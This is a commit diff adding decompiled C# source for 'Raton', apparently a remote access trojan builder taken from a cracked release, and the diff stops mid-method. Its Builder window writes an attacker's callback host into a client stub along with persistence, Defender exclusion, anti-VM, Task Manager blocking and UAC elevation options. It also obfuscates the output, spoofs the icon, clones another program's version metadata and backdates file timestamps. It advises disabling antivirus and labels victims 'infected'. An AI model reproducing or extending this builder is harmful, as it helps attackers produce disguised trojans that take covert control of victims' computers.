initial commit

This commit is contained in:
i2p
2026-08-27 11:23:13 -06:00
commit 21b93ff794
837 changed files with 181368 additions and 0 deletions
+131
View File
@@ -0,0 +1,131 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.About
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Microsoft.Win32;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Forms;
using System.Windows.Interop;
using System.Windows.Markup;
#nullable disable
namespace Raton.Windows;
public partial class About : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public About()
{
this.InitializeComponent();
this.Loaded += new RoutedEventHandler(this.About_Loaded);
}
private void About_Loaded(object sender, RoutedEventArgs e)
{
this.LoadChangelog();
this.ApplyDarkMode();
this.TxtChangelog.ScrollToHome();
}
private void ApplyDarkMode()
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
About.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
private void LoadChangelog()
{
try
{
this.TxtChangelog.Text = Raton.Properties.Resources.changelog;
}
catch (Exception ex)
{
this.TxtChangelog.Text = "[Error loading changelog]\n" + ex.Message;
}
}
private void BtnCommunity_Click(object sender, RoutedEventArgs e)
{
Process.Start(new ProcessStartInfo("https://t.me/ratonaccesstool")
{
UseShellExecute = true
});
}
private void BtnGithub_Click(object sender, RoutedEventArgs e)
{
Process.Start(new ProcessStartInfo("https://github.com/sillycs")
{
UseShellExecute = true
});
}
private async void BtnBitcoin_Click(object sender, RoutedEventArgs e)
{
System.Windows.Controls.Button btn = sender as System.Windows.Controls.Button;
try
{
using (HttpClient client = new HttpClient())
{
client.DefaultRequestHeaders.UserAgent.ParseAdd("Raton");
string[] strArray = (await client.GetStringAsync("https://raw.githubusercontent.com/FuckingSilly/RatonUpdateChecker/refs/heads/main/version")).Trim().Split(new char[4]
{
' ',
'\n',
'\r',
'\t'
}, StringSplitOptions.RemoveEmptyEntries);
if (strArray.Length >= 3)
{
System.Windows.Clipboard.SetText(strArray[2]);
if (btn != null)
btn.Content = (object) "Copied!";
}
else if (btn != null)
btn.Content = (object) "Invalid file";
}
btn = (System.Windows.Controls.Button) null;
}
catch (Exception ex)
{
if (btn != null)
btn.Content = (object) "Error";
int num = (int) Messenger.MessageBox(ex.ToString(), "Error", icon: MessageBoxIcon.Hand);
btn = (System.Windows.Controls.Button) null;
}
}
}
+834
View File
@@ -0,0 +1,834 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Builder
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using Microsoft.Win32;
using Mono.Cecil;
using Server.Classes;
using Stuff;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Media.Imaging;
using Vestris.ResourceLib;
#nullable disable
namespace Raton.Windows;
public partial class Builder : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private string _mutx = Helpers.Random(23);
private string _selectedIconPath = string.Empty;
private int _activeTab;
private Border[] _navBorders;
private Border[] _navAccents;
private TextBlock[] _navIcons;
private TextBlock[] _navLabels;
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public Builder()
{
this.InitializeComponent();
this.WindowStartupLocation = WindowStartupLocation.CenterOwner;
this._navBorders = new Border[5]
{
this.NavCommon,
this.NavNetwork,
this.NavExecution,
this.NavAssembly,
this.NavAgreement
};
this._navAccents = new Border[5]
{
this.AccCommon,
this.AccNetwork,
this.AccExecution,
this.AccAssembly,
this.AccAgreement
};
this._navIcons = new TextBlock[5]
{
this.IcoCommon,
this.IcoNetwork,
this.IcoExecution,
this.IcoAssembly,
this.IcoAgreement
};
this._navLabels = new TextBlock[5]
{
this.LblCommon,
this.LblNetwork,
this.LblExecution,
this.LblAssembly,
this.LblAgreement
};
try
{
this.TxtAgreement.Text = Raton.Properties.Resources.AgreementText;
}
catch
{
this.TxtAgreement.Text = "[Agreement text not found]";
}
this.Loaded += (RoutedEventHandler) ((s, e) => this.PlayFadeIn());
}
private void PlayFadeIn()
{
DoubleAnimation animation = new DoubleAnimation(0.0, 1.0, new Duration(TimeSpan.FromSeconds(0.35)));
DoubleAnimation doubleAnimation = animation;
CubicEase cubicEase = new CubicEase();
cubicEase.EasingMode = EasingMode.EaseOut;
doubleAnimation.EasingFunction = (IEasingFunction) cubicEase;
this.RootGrid.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation);
this.ApplyDarkMode();
}
private void ApplyDarkMode()
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
Builder.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
private void AnimateTabSwitch(int from, int to)
{
if (from == to)
return;
this.MainTabs.SelectedIndex = to;
if (!(new TabItem[5]
{
this.TabCommon,
this.TabNetwork,
this.TabExecution,
this.TabAssembly,
this.TabAgreement
}[to].Content is FrameworkElement content))
return;
TranslateTransform translateTransform = new TranslateTransform(0.0, 14.0);
content.RenderTransform = (Transform) translateTransform;
content.Opacity = 0.0;
DoubleAnimation animation1 = new DoubleAnimation(0.0, 1.0, new Duration(TimeSpan.FromSeconds(0.2)));
DoubleAnimation doubleAnimation1 = animation1;
CubicEase cubicEase1 = new CubicEase();
cubicEase1.EasingMode = EasingMode.EaseOut;
doubleAnimation1.EasingFunction = (IEasingFunction) cubicEase1;
DoubleAnimation animation2 = new DoubleAnimation(14.0, 0.0, new Duration(TimeSpan.FromSeconds(0.2)));
DoubleAnimation doubleAnimation2 = animation2;
CubicEase cubicEase2 = new CubicEase();
cubicEase2.EasingMode = EasingMode.EaseOut;
doubleAnimation2.EasingFunction = (IEasingFunction) cubicEase2;
content.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation1);
translateTransform.BeginAnimation(TranslateTransform.YProperty, (AnimationTimeline) animation2);
}
private void SetActiveNav(int index)
{
int activeTab = this._activeTab;
this._activeTab = index;
for (int index1 = 0; index1 < this._navBorders.Length; ++index1)
{
bool flag = index1 == index;
this._navBorders[index1].Style = flag ? (Style) this.FindResource((object) "SideNavActive") : (Style) this.FindResource((object) "SideNav");
this._navIcons[index1].Style = flag ? (Style) this.FindResource((object) "NavIcoActive") : (Style) this.FindResource((object) "NavIco");
this._navLabels[index1].Style = flag ? (Style) this.FindResource((object) "NavLblActive") : (Style) this.FindResource((object) "NavLbl");
this._navAccents[index1].Style = flag ? (Style) this.FindResource((object) "NavAccentActive") : (Style) this.FindResource((object) "NavAccent");
}
this.AnimateTabSwitch(activeTab, index);
}
private void Nav_Common_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(0);
private void Nav_Network_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(1);
private void Nav_Execution_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(2);
private void Nav_Assembly_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(3);
private void Nav_Agreement_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(4);
private void TogPassword_Changed(object sender, RoutedEventArgs e)
{
if (this.TxtPassword == null)
return;
TextBox txtPassword = this.TxtPassword;
bool? isChecked = this.TogPassword.IsChecked;
bool flag = true;
int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
txtPassword.IsEnabled = num != 0;
}
private void TogDate_Changed(object sender, RoutedEventArgs e)
{
if (this.DatePicker1 == null)
return;
DatePicker datePicker1 = this.DatePicker1;
bool? isChecked = this.TogDate.IsChecked;
bool flag = true;
int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
datePicker1.IsEnabled = num != 0;
}
private void BtnBrowseIcon_Click(object sender, RoutedEventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "Icon Files|*.ico;*.exe";
openFileDialog.Title = "Select a client icon";
bool? nullable = openFileDialog.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
return;
string fileName = openFileDialog.FileName;
switch (Path.GetExtension(fileName).ToLower())
{
case ".ico":
this._selectedIconPath = fileName;
this.ShowIconPreview(fileName);
break;
case ".exe":
System.Drawing.Icon associatedIcon = System.Drawing.Icon.ExtractAssociatedIcon(fileName);
if (associatedIcon == null)
break;
string str = Path.Combine(Path.GetTempPath(), $"raton_icon_{Helpers.Random(8)}.ico");
using (FileStream outputStream = new FileStream(str, FileMode.Create))
associatedIcon.Save((Stream) outputStream);
associatedIcon.Dispose();
this._selectedIconPath = str;
this.ShowIconPreview(str);
break;
}
}
private void ShowIconPreview(string icoPath)
{
try
{
BitmapImage bitmapImage = new BitmapImage();
bitmapImage.BeginInit();
bitmapImage.UriSource = new Uri(icoPath, UriKind.Absolute);
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
bitmapImage.DecodePixelWidth = 32 /*0x20*/;
bitmapImage.EndInit();
this.IconPreviewImg.Source = (ImageSource) bitmapImage;
this.IconPreviewImg.Visibility = Visibility.Visible;
this.IconPlaceholder.Visibility = Visibility.Collapsed;
}
catch
{
}
}
private void TxtHost_KeyDown(object sender, KeyEventArgs e)
{
if (e.Key != Key.Return)
return;
this.AddHost();
}
private void BtnAddHost_Click(object sender, RoutedEventArgs e) => this.AddHost();
private void BtnRemoveHost_Click(object sender, RoutedEventArgs e) => this.RemoveHost();
private void AddHost()
{
string newItem = this.TxtHost.Text.Trim();
if (newItem.Length < 5)
Builder.ShowMsg("Please add a valid host.", "Error", MessageBoxImage.Hand);
else if (!newItem.Contains(":"))
Builder.ShowMsg("Host must be in IP:Port format.", "Error", MessageBoxImage.Hand);
else if (this.HostList.Items.Contains((object) newItem))
{
Builder.ShowMsg("This host is already in the list.", "Warning", MessageBoxImage.Exclamation);
}
else
{
this.HostList.Items.Add((object) newItem);
this.HostList.SelectedIndex = this.HostList.Items.Count - 1;
this.TxtHost.Clear();
}
}
private void RemoveHost()
{
if (this.HostList.SelectedItem == null)
Builder.ShowMsg("Please select a host to remove.", "Error", MessageBoxImage.Hand);
else
this.HostList.Items.Remove(this.HostList.SelectedItem);
}
private async void BtnGetIP_Click(object sender, RoutedEventArgs e)
{
try
{
HttpClient client = new HttpClient();
string stringAsync = await client.GetStringAsync("https://api.ipify.org");
client.Dispose();
this.TxtHost.Text = stringAsync.Trim();
client = (HttpClient) null;
}
catch
{
this.TxtHost.Text = "127.0.0.1";
}
}
private void TogMsgBox_Changed(object sender, RoutedEventArgs e)
{
if (this.TxtMsgTitle == null)
return;
bool? isChecked = this.TogMsgBox.IsChecked;
bool flag1 = true;
bool flag2 = isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue;
this.TxtMsgTitle.IsEnabled = flag2;
this.TxtMsgBody.IsEnabled = flag2;
}
private void TogWebsite_Changed(object sender, RoutedEventArgs e)
{
if (this.TxtWebsite == null)
return;
TextBox txtWebsite = this.TxtWebsite;
bool? isChecked = this.TogWebsite.IsChecked;
bool flag = true;
int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
txtWebsite.IsEnabled = num != 0;
}
private void TogAssembly_Changed(object sender, RoutedEventArgs e)
{
if (this.TxtAsmProduct == null)
return;
bool? isChecked = this.TogAssembly.IsChecked;
bool flag1 = true;
bool flag2 = isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue;
this.TxtAsmProduct.IsEnabled = flag2;
this.TxtAsmDescrip.IsEnabled = flag2;
this.TxtAsmCompany.IsEnabled = flag2;
this.TxtAsmCopyright.IsEnabled = flag2;
this.TxtAsmFilename.IsEnabled = flag2;
this.TxtAsmVersion.IsEnabled = flag2;
this.BtnClone.IsEnabled = flag2;
}
private void BtnClone_Click(object sender, RoutedEventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "Executable (*.exe)|*.exe";
openFileDialog.Title = "Clone assembly from EXE";
bool? nullable = openFileDialog.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
return;
string fileName = openFileDialog.FileName;
try
{
ModuleDefinition mainModule = AssemblyDefinition.ReadAssembly(fileName).MainModule;
string str1 = "Nothing";
string str2 = "Nothing";
string str3 = "Nothing";
string str4 = "Nothing";
string str5 = "Nothing";
foreach (Mono.Cecil.CustomAttribute customAttribute in mainModule.Assembly.CustomAttributes)
{
string fullName = customAttribute.AttributeType.FullName;
string str6 = customAttribute.ConstructorArguments.Count > 0 ? (customAttribute.ConstructorArguments[0].Value ?? (object) "Nothing").ToString() : "Nothing";
if (fullName == "System.Reflection.AssemblyProductAttribute")
str1 = str6;
if (fullName == "System.Reflection.AssemblyCompanyAttribute")
str2 = str6;
if (fullName == "System.Reflection.AssemblyDescriptionAttribute")
str3 = str6;
if (fullName == "System.Reflection.AssemblyCopyrightAttribute")
str4 = str6;
if (fullName == "System.Reflection.AssemblyVersionAttribute")
str5 = str6;
}
this.TxtAsmDescrip.Text = str3;
this.TxtAsmProduct.Text = str1;
this.TxtAsmCompany.Text = str2;
this.TxtAsmFilename.Text = fileName;
this.TxtAsmCopyright.Text = str4;
this.TxtAsmVersion.Text = str5;
Builder.ShowMsg("Loaded successfully by module.", "Assembly", MessageBoxImage.Asterisk);
}
catch (BadImageFormatException ex)
{
FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(fileName);
this.TxtAsmDescrip.Text = versionInfo.FileDescription ?? "Nothing";
this.TxtAsmProduct.Text = versionInfo.ProductName ?? "Nothing";
this.TxtAsmCompany.Text = versionInfo.CompanyName ?? "Nothing";
this.TxtAsmFilename.Text = versionInfo.FileName ?? "Nothing";
this.TxtAsmCopyright.Text = versionInfo.LegalCopyright ?? "Nothing";
this.TxtAsmVersion.Text = versionInfo.ProductVersion ?? "Nothing";
Builder.ShowMsg("Loaded successfully by System.", "Assembly", MessageBoxImage.Asterisk);
}
catch (Exception ex)
{
Builder.ShowMsg(ex.Message, "Error", MessageBoxImage.Hand);
}
}
private void Nav_Save_Click(object sender, MouseButtonEventArgs e) => this.SaveConfig();
private void Nav_Load_Click(object sender, MouseButtonEventArgs e) => this.LoadConfig();
private void SaveConfig()
{
if (this.HostList.SelectedItem == null)
{
Builder.ShowMsg("Please choose a host before exporting (at least 127.0.0.1:0000).", "Error", MessageBoxImage.Hand);
}
else
{
SaveFileDialog saveFileDialog = new SaveFileDialog();
saveFileDialog.Filter = "Raton Config (*.ratonfig)|*.ratonfig";
saveFileDialog.Title = "Save configuration";
saveFileDialog.DefaultExt = "ratonfig";
saveFileDialog.FileName = "myBuild.ratonfig";
bool? nullable = saveFileDialog.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
return;
string[] strArray = this.HostList.SelectedItem.ToString().Split(':');
string contents = $"[RATON]\n<DNS>{Builder.Fix(strArray[0])}<DNS>\n<Port>{Builder.Fix(strArray[1])}<Port>\n<Startup>{Builder.Fix(Builder.BoolStr(this.TogStartup.IsChecked))}<Startup>\n<Hide>{Builder.Fix(Builder.BoolStr(this.TogHideFile.IsChecked))}<Hide>\n<ProcessCritical>{Builder.Fix(Builder.BoolStr(this.TogProCri.IsChecked))}<ProcessCritical>\n<PasswordCheck>{Builder.Fix(Builder.BoolStr(this.TogPassword.IsChecked))}<PasswordCheck>\n<Password>{Builder.Fix(this.TxtPassword.Text)}<Password>\n<Tag>{Builder.Fix(this.TxtTag.Text)}<Tag>\n<Delay>{Builder.Fix(this.TxtDelay.Text)}<Delay>\n<Exclusion>{Builder.Fix(Builder.BoolStr(this.TogDefender.IsChecked))}<Exclusion>\n<MsgBoxEnabled>{Builder.Fix(Builder.BoolStr(this.TogMsgBox.IsChecked))}<MsgBoxEnabled>\n<MsgBoxTitle>{Builder.Fix(this.TxtMsgTitle.Text)}<MsgBoxTitle>\n<MsgBoxDesc>{Builder.Fix(this.TxtMsgBody.Text)}<MsgBoxDesc>\n<AntiVM>{Builder.Fix(Builder.BoolStr(this.TogAntiVM.IsChecked))}<AntiVM>\n<UACPrompt>{Builder.Fix(Builder.BoolStr(this.TogUAC.IsChecked))}<UACPrompt>\n<BlockTaskMgr>{Builder.Fix(Builder.BoolStr(this.TogBlockTask.IsChecked))}<BlockTaskMgr>\n<Website>{Builder.Fix(Builder.BoolStr(this.TogWebsite.IsChecked))}<Website>\n<WebsiteURL>{Builder.Fix(this.TxtWebsite.Text)}<WebsiteURL>\n<ReconnectDelay>{Builder.Fix(this.TxtReconnect.Text)}<ReconnectDelay>\n<MsgBoxIcon>{Builder.Fix(this.GetSelectedMsgBoxIcon())}<MsgBoxIcon>\n";
File.WriteAllText(saveFileDialog.FileName, contents);
Builder.ShowMsg("Configuration exported successfully.", "Exported", MessageBoxImage.Asterisk);
}
}
private void LoadConfig()
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "RATON Config (*.ratonfig)|*.ratonfig";
bool? nullable = openFileDialog.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
return;
string content = File.ReadAllText(openFileDialog.FileName);
if (!content.TrimStart().StartsWith("[RATON]"))
{
Builder.ShowMsg("This file is corrupted or manually created.", "Error", MessageBoxImage.Hand);
}
else
{
string newItem = $"{Builder.RV(content, "DNS")}:{Builder.RV(content, "Port")}";
if (!this.HostList.Items.Contains((object) newItem))
this.HostList.Items.Add((object) newItem);
this.HostList.SelectedItem = (object) newItem;
this.TogStartup.IsChecked = new bool?(Builder.RV(content, "Startup") == "true");
this.TogHideFile.IsChecked = new bool?(Builder.RV(content, "Hide") == "true");
this.TogProCri.IsChecked = new bool?(Builder.RV(content, "ProcessCritical") == "true");
this.TogPassword.IsChecked = new bool?(Builder.RV(content, "PasswordCheck") == "true");
this.TogDefender.IsChecked = new bool?(Builder.RV(content, "Exclusion") == "true");
this.TogMsgBox.IsChecked = new bool?(Builder.RV(content, "MsgBoxEnabled") == "true");
this.TogAntiVM.IsChecked = new bool?(Builder.RV(content, "AntiVM") == "true");
this.TogUAC.IsChecked = new bool?(Builder.RV(content, "UACPrompt") == "true");
this.TogBlockTask.IsChecked = new bool?(Builder.RV(content, "BlockTaskMgr") == "true");
this.TogWebsite.IsChecked = new bool?(Builder.RV(content, "Website") == "true");
string str = Builder.RV(content, "Password");
this.TxtPassword.Text = str == "empty" ? "" : str;
this.TxtTag.Text = Builder.RV(content, "Tag");
this.TxtMsgTitle.Text = Builder.RV(content, "MsgBoxTitle");
this.TxtMsgBody.Text = Builder.RV(content, "MsgBoxDesc");
this.TxtWebsite.Text = Builder.RV(content, "WebsiteURL");
int result1;
if (int.TryParse(Builder.RV(content, "Delay"), out result1))
this.TxtDelay.Text = result1.ToString();
int result2;
if (int.TryParse(Builder.RV(content, "ReconnectDelay"), out result2))
this.TxtReconnect.Text = Math.Max(3, result2).ToString();
switch (Builder.RV(content, "MsgBoxIcon").ToLower())
{
case "error":
this.RbIconError.IsChecked = new bool?(true);
break;
case "information":
this.RbIconInfo.IsChecked = new bool?(true);
break;
case "warning":
this.RbIconWarn.IsChecked = new bool?(true);
break;
case "question":
this.RbIconQst.IsChecked = new bool?(true);
break;
default:
this.RbIconNone.IsChecked = new bool?(true);
break;
}
this.TogPassword_Changed((object) null, (RoutedEventArgs) null);
this.TogDate_Changed((object) null, (RoutedEventArgs) null);
this.TogMsgBox_Changed((object) null, (RoutedEventArgs) null);
this.TogWebsite_Changed((object) null, (RoutedEventArgs) null);
this.TogAssembly_Changed((object) null, (RoutedEventArgs) null);
}
}
private async void BtnBuildLight_Click(object sender, RoutedEventArgs e)
{
await this.RunBuild("Builder\\Client.exe", true);
}
private async void BtnBuildPacked_Click(object sender, RoutedEventArgs e)
{
bool? isChecked = this.TogObf.IsChecked;
bool flag = true;
if (isChecked.GetValueOrDefault() == flag & isChecked.HasValue)
Builder.ShowMsg("You can't obfuscate the packaged version.", "Build error", MessageBoxImage.Hand);
else
await this.RunBuild("Builder\\clientForCrypters.exe", false);
}
private async Task RunBuild(string stub, bool allowObf)
{
Builder builder = this;
string outputFile;
MemoryStream ms;
if (!File.Exists(stub))
{
Builder.ShowMsg(Path.GetFileName(stub) + " not found.\nDisable your antivirus before building.", "Build error", MessageBoxImage.Hand);
outputFile = (string) null;
ms = (MemoryStream) null;
}
else if (!builder.ValidateBuildInputs())
{
outputFile = (string) null;
ms = (MemoryStream) null;
}
else
{
SaveFileDialog saveFileDialog = new SaveFileDialog();
saveFileDialog.Filter = "Executable (*.exe)|*.exe";
saveFileDialog.FileName = "ratonClient";
bool? nullable = saveFileDialog.ShowDialog();
bool flag1 = true;
if (!(nullable.GetValueOrDefault() == flag1 & nullable.HasValue))
{
outputFile = (string) null;
ms = (MemoryStream) null;
}
else
{
builder.Dispatcher.Invoke((Action) (() => this.Hide()));
string[] strArray = builder.HostList.SelectedItem.ToString().Split(':');
string selectedHost = strArray[0];
string selectedPort = strArray[1];
string startupC = Builder.BoolStr(builder.TogStartup.IsChecked);
string hideC = Builder.BoolStr(builder.TogHideFile.IsChecked);
string pcC = Builder.BoolStr(builder.TogProCri.IsChecked);
string passC = builder.TxtPassword.Text;
string tagC = string.IsNullOrWhiteSpace(builder.TxtTag.Text) ? "infected" : builder.TxtTag.Text;
string delayC = builder.TxtDelay.Text;
string defC = Builder.BoolStr(builder.TogDefender.IsChecked);
string msgEnC = Builder.BoolStr(builder.TogMsgBox.IsChecked);
string msgTitleC = builder.TxtMsgTitle.Text;
string msgDescC = builder.TxtMsgBody.Text;
string vmC = Builder.BoolStr(builder.TogAntiVM.IsChecked);
string uacC = Builder.BoolStr(builder.TogUAC.IsChecked);
string blockC = Builder.BoolStr(builder.TogBlockTask.IsChecked);
string webC = Builder.BoolStr(builder.TogWebsite.IsChecked);
string webUrlC = builder.TxtWebsite.Text;
string reconnC = builder.TxtReconnect.Text;
string iconC = builder.GetSelectedMsgBoxIcon();
string rawC = builder.TxtPasteLink.Text;
if (rawC == "https://paste.ee/d/dQKrJpQJ")
rawC = "silly21";
outputFile = saveFileDialog.FileName;
ms = new MemoryStream(File.ReadAllBytes(stub));
ModuleDef module = (ModuleDef) ModuleDefMD.Load((Stream) ms);
await Task.Run((Action) (() =>
{
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
{
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
if (method.HasBody)
{
for (int index = 0; index < method.Body.Instructions.Count; ++index)
{
if (method.Body.Instructions[index].OpCode == OpCodes.Ldstr && method.Body.Instructions[index].Operand != null)
{
string str1 = method.Body.Instructions[index].Operand.ToString();
string str2 = (string) null;
switch (str1)
{
case "silly1":
str2 = this._mutx;
break;
case "silly10":
str2 = iconC;
break;
case "silly11":
str2 = uacC;
break;
case "silly13":
str2 = webC;
break;
case "silly14":
str2 = webUrlC;
break;
case "silly15":
str2 = vmC;
break;
case "silly16":
str2 = tagC;
break;
case "silly17":
str2 = msgTitleC;
break;
case "silly18":
str2 = blockC;
break;
case "silly2":
str2 = string.IsNullOrEmpty(selectedHost) ? "127.0.0.1" : selectedHost;
break;
case "silly20":
str2 = passC;
break;
case "silly21":
str2 = rawC;
break;
case "silly22":
str2 = reconnC;
break;
case "silly23":
str2 = defC;
break;
case "silly3":
str2 = string.IsNullOrEmpty(selectedPort) ? "8080" : selectedPort;
break;
case "silly4":
str2 = startupC;
break;
case "silly5":
str2 = delayC;
break;
case "silly6":
str2 = pcC;
break;
case "silly7":
str2 = hideC;
break;
case "silly8":
str2 = msgEnC;
break;
case "silly9":
str2 = msgDescC;
break;
}
if (str2 != null)
method.Body.Instructions[index].Operand = (object) str2;
}
}
}
}
}
}));
if (allowObf)
{
nullable = builder.TogObf.IsChecked;
bool flag2 = true;
if (nullable.GetValueOrDefault() == flag2 & nullable.HasValue)
{
AGObfuscator agObfuscator = new AGObfuscator(module);
}
}
module.Write(outputFile);
module.Dispose();
ms.Dispose();
await Task.Delay(500);
if (!string.IsNullOrEmpty(builder._selectedIconPath) && File.Exists(builder._selectedIconPath))
ResourceModifier.ChangeIcon(outputFile, builder._selectedIconPath);
nullable = builder.TogDate.IsChecked;
bool flag3 = true;
if (nullable.GetValueOrDefault() == flag3 & nullable.HasValue && builder.DatePicker1.SelectedDate.HasValue)
{
DateTime dateTime = builder.DatePicker1.SelectedDate.Value;
File.SetCreationTime(outputFile, dateTime);
File.SetLastWriteTime(outputFile, dateTime);
File.SetLastAccessTime(outputFile, dateTime);
}
nullable = builder.TogAssembly.IsChecked;
bool flag4 = true;
if (nullable.GetValueOrDefault() == flag4 & nullable.HasValue)
builder.ApplyAssembly(outputFile);
if (uacC == "true")
ManifestHelper.InjectAdminManifest(outputFile);
Builder.ShowMsg("Build finished!", "Success", MessageBoxImage.Asterisk);
builder.Dispatcher.Invoke((Action) (() =>
{
this.Hide();
this.Close();
}));
outputFile = (string) null;
ms = (MemoryStream) null;
}
}
}
private bool ValidateBuildInputs()
{
if (this.HostList.SelectedItem == null)
{
if (string.IsNullOrWhiteSpace(this.TxtPasteLink.Text) || this.TxtPasteLink.Text == "https://paste.ee/d/dQKrJpQJ")
Builder.ShowMsg("Please select a host from the Network tab.", "Error", MessageBoxImage.Hand);
else
Builder.ShowMsg("Select a host — even with a raw link it could break.", "Error", MessageBoxImage.Hand);
return false;
}
bool? isChecked = this.TogMsgBox.IsChecked;
bool flag1 = true;
if (isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue)
{
if (string.IsNullOrWhiteSpace(this.TxtMsgTitle.Text))
{
Builder.ShowMsg("Add a title for the message box, or disable it.", "Error", MessageBoxImage.Hand);
return false;
}
if (string.IsNullOrWhiteSpace(this.TxtMsgBody.Text))
{
Builder.ShowMsg("Add content for the message box, or disable it.", "Error", MessageBoxImage.Hand);
return false;
}
}
isChecked = this.TogPassword.IsChecked;
bool flag2 = true;
if (isChecked.GetValueOrDefault() == flag2 & isChecked.HasValue && string.IsNullOrWhiteSpace(this.TxtPassword.Text))
{
Builder.ShowMsg("Enter a password, or disable it.", "Error", MessageBoxImage.Hand);
return false;
}
isChecked = this.TogAssembly.IsChecked;
bool flag3 = true;
if (!(isChecked.GetValueOrDefault() == flag3 & isChecked.HasValue) || !string.IsNullOrWhiteSpace(this.TxtAsmFilename.Text))
return true;
Builder.ShowMsg("Enter at least a filename in the Assembly tab, or disable it.", "Error", MessageBoxImage.Hand);
return false;
}
private void ApplyAssembly(string filename)
{
try
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(filename);
versionResource.Language = (ushort) 0;
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
stringFileInfo["InternalName"] = this.TxtAsmFilename.Text;
stringFileInfo["OriginalFilename"] = this.TxtAsmFilename.Text;
stringFileInfo["ProductName"] = this.TxtAsmProduct.Text;
stringFileInfo["CompanyName"] = this.TxtAsmCompany.Text;
stringFileInfo["FileDescription"] = this.TxtAsmDescrip.Text;
stringFileInfo["LegalCopyright"] = this.TxtAsmCopyright.Text;
stringFileInfo["LegalTrademarks"] = this.TxtAsmCopyright.Text;
stringFileInfo["ProductVersion"] = this.TxtAsmVersion.Text;
stringFileInfo["FileVersion"] = this.TxtAsmVersion.Text;
versionResource.SaveTo(filename);
}
catch (Exception ex)
{
Builder.ShowMsg(ex.Message, "Assembly error", MessageBoxImage.Hand);
}
}
protected override void OnClosing(CancelEventArgs e)
{
base.OnClosing(e);
if (this.HostList.SelectedItem == null || Messenger.MessageBox("Wanna save this configuration?", "Question", MessageBoxButton.YesNo, MessageBoxImage.Question) != MessageBoxResult.Yes)
return;
this.SaveConfig();
}
private string GetSelectedMsgBoxIcon()
{
bool? isChecked1 = this.RbIconError.IsChecked;
bool flag1 = true;
if (isChecked1.GetValueOrDefault() == flag1 & isChecked1.HasValue)
return "Error";
bool? isChecked2 = this.RbIconInfo.IsChecked;
bool flag2 = true;
